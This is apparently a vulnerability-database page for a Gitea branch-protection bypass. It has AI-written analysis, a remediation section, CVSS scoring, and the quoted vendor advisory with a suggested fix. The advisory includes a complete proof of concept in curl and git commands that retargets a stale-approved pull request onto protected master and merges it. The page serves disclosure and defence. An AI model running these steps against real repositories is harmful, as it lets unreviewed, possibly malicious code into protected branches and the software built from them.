Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain write access as collaborator
-
DeliveryCreate unprotected temp branch
-
ExploitOpen PR targeting unprotected branch
-
ExecutionSecond account approves (official=true)
-
PersistRetarget PR to protected master
-
ImpactMerge stale-approved malicious commit
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires the repository to have a protected branch configured with an approval whitelist and required approvals >= 1, plus the ability to create a second unprotected branch (or any branch not covered by protection rules) to receive the initial approval. The attacker needs write/push access to the repository and the ability to create pull requests, and needs a second non-admin account to submit the approval on the unprotected branch. Exploitation does NOT require admin access, membership in the protected branch's approval whitelist, or any action by the legitimate designated approvers. Limiting factors: the attacker must be an authenticated collaborator with write privileges (PR:L), so anonymous exploitation is impossible; the target must use the approval-whitelist branch-protection feature (installations relying on other gates such as required status checks are not bypassed by this technique alone); and the PR-retarget workflow must be available. |
| Impact | The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H, base 8.1) is internally consistent with the described attack: network-reachable API, low complexity, and low privileges (write-but-not-admin), with high integrity and availability impact and no confidentiality impact. The realism check is favorable - the PoC demonstrates a deterministic, non-race exploit requiring only ordinary API calls, so exploitation is reliable rather than probabilistic. The key limiting factor not captured by a raw high CVSS is the collaborator prerequisite: the attacker must already hold write access to the target repository, which confines the threat to insider/compromised-collaborator scenarios rather than anonymous internet attackers. No EPSS score, KEV listing, or SSVC decision data was provided, so widespread automated exploitation cannot be inferred; the practical priority is high for organizations that rely on approval whitelists as their sole merge gate but is bounded by the trust already extended to write-access users. A/I impact of High is arguably generous for a governance-bypass (no direct system compromise), so treat the 8.1 as reflecting supply-chain/code-integrity risk rather than host takeover. |
| Exploit ScenarioDerived | A malicious collaborator with write access opens a PR containing a malicious commit against a temporary unprotected branch, has a second non-whitelisted account approve it (recorded as official=true because that branch has no protection), then retargets the PR to the protected master branch via the pulls PATCH API. The stale approval still counts, so the attacker merges unreviewed code into master. A complete, working PoC using only curl/git API calls is published in the GHSA advisory, making the attack straightforward to reproduce. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 21, 2026
Branch protection bypass in Gitea versions prior to 1.27.0 allows a user with write (non-admin) access to merge unauthorized code into a protected branch by exploiting a stale approval flag. When a pull request is retargeted from an unprotected branch to a protected one via ChangeTargetBranch, Gitea fails to re-evaluate the stored official=true flag on existing approvals, so an approval that was never valid under the protected branch's whitelist still satisfies its required-approvals gate. Publicly available exploit code exists (a detailed step-by-step PoC in the GHSA advisory); no public exploit identified as actively used and it is not in CISA KEV.
RemediationAI
Vendor-released patch: upgrade Gitea to 1.27.0 or later, which adds RecalculateReviewsOfficial (PR https://github.com/go-gitea/gitea/pull/38319 and https://github.com/go-gitea/gitea/pull/38402) to re-evaluate the official flag on all approve/reject reviews whenever a PR's target branch changes. Until you can upgrade, reduce exposure with targeted compensating controls: restrict who holds write/push access on repositories with protected branches (the exploit requires a non-admin collaborator, so tightening collaborator lists directly shrinks the attack surface); avoid relying solely on approval-whitelist counts by additionally enabling stricter merge gates such as required status checks or requiring re-approval on new commits; and operationally monitor for PRs whose base branch was changed after receiving approvals (the audit trail includes a 'change target branch' comment) and re-review or dismiss approvals on any retargeted PR before merge. The trade-off of manual review-dismissal is added maintainer workload, and disabling the retarget capability is not natively configurable, so procedural review remains the main stopgap. Reference the advisory at https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gitea is a self-hosted Git service written in Go (package code.gitea.io/gitea). The flaw sits in its branch-protection and code-review logic. When a review is submitted, services/pull/review.go:SubmitReview calls IsUserOfficialReviewer (models/git/protected_branch.go) against the PR's current base branch and persists a boolean official flag on the review record. Merge eligibility is later computed by GetGrantedApprovalsCount (models/issues/pull.go:766), which simply counts stored reviews where official=true AND dismissed=false AND type=Approve - it reads the cached boolean rather than re-checking the whitelist. Because ChangeTargetBranch (services/pull/pull.go) mutates pr.BaseBranch without recomputing or dismissing existing reviews, the stored flag becomes stale. This is a classic CWE-863 Incorrect Authorization: an authorization decision (is this an official/whitelisted approval for THIS branch?) is made once and never re-validated when the protected resource under evaluation changes.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Network API, low complexity, requires write-access collaborator (PR:L) with no user interaction; impact is code-integrity bypass (I:H) with no confidentiality or direct availability loss (C:N/A:N).
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
DescriptionCVE.org
Summary
Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.
- Confirmed on Gitea 1.25.4 (
1.25.4+41-g96515c0f20)
Vulnerability Details
Root Cause
When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.
When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:
- Updates
pr.BaseBranch - Recalculates merge feasibility and divergence
- Deletes old push comments
- Creates a "change target branch" comment
But it does not:
- Re-evaluate
officialon existing reviews - Dismiss existing approvals
- Check whether reviewers are in the new target branch's approval whitelist
At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean - it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.
Relevant Code Paths
- Review creation -
services/pull/review.go:SubmitReviewcallsIsOfficialRevieweragainst the currentpr.BaseBranch's protection rules, storesofficial=true/false - Target branch change -
services/pull/pull.go:ChangeTargetBranchmodifiespr.BaseBranchbut does not touch existing reviews - Merge check -
services/pull/check.go:CheckPullMergeable→models/issues/pull.go:GetGrantedApprovalsCountcounts storedofficial=truereviews without re-evaluating against the new branch's whitelist
Prerequisites
The attacker needs:
- Write (push) access to the repository (collaborator with write role, or the ability to create branches - not admin)
- The ability to create pull requests (standard for any user with push access)
- A second account (or any non-admin account) to submit the approval on the unprotected branch
The attacker does not need:
- Admin access
- To be in the approval whitelist for the protected branch
- Any interaction from the branch protection's designated approvers
Proof of Concept
Setup
Repository owner/repo with branch master protected:
- Required approvals: 1
- Approval whitelist enabled, containing only user
admin-reviewer - User
attackerhas write access but is not in the approval whitelist
Steps
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password"
# any non-whitelisted user
# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch
# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{
"head": "malicious-branch",
"base": "tmp-unprotected",
"title": "Add feature"
}'
# Returns PR #N
# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ACCOMPLICE_AUTH" \
-H "Content-Type: application/json" \
-d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true
# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"base": "master"}'
# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
-u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false
# 7. Merge - succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
-u "$ATTACKER_AUTH" \
-H "Content-Type: application/json" \
-d '{"do": "merge"}'
# Returns 200 OK - malicious commit is now on masterObserved API Responses
Step 4 - Approval on unprotected branch:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}Step 6 - Same approval after retarget to protected master:
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.
Impact
- Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
- Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements
Suggested Fix
Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:
// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
IssueID: pr.IssueID,
Type: issues_model.ReviewTypeApprove,
})
if err != nil {
return err
}
newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
return err
}
for _, review := range reviews {
wasOfficial := review.Official
if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
} else {
review.Official = false
}
if wasOfficial != review.Official {
if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
return err
}
}
}Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):
// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
IssueID: pr.IssueID,
Message: "Dismissed: PR target branch changed",
}); err != nil {
return err
}Executive ViewAI
Gitea versions prior to 1.27.0 contain a flaw that allows employees with repository write access to bypass code approval requirements and merge unapproved changes directly into protected branches. This vulnerability can enable unauthorized code injection into production systems, compromising code integrity and potentially affecting deployed applications. Publicly available exploit code exists, though active exploitation has not been documented.
Apply vendor patch: Gitea 1.27.0 or later
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
EUVD-2026-58166
GHSA-w5pg-649r-p6gg
NVD
CVE.org
EPSS
Exploit-DB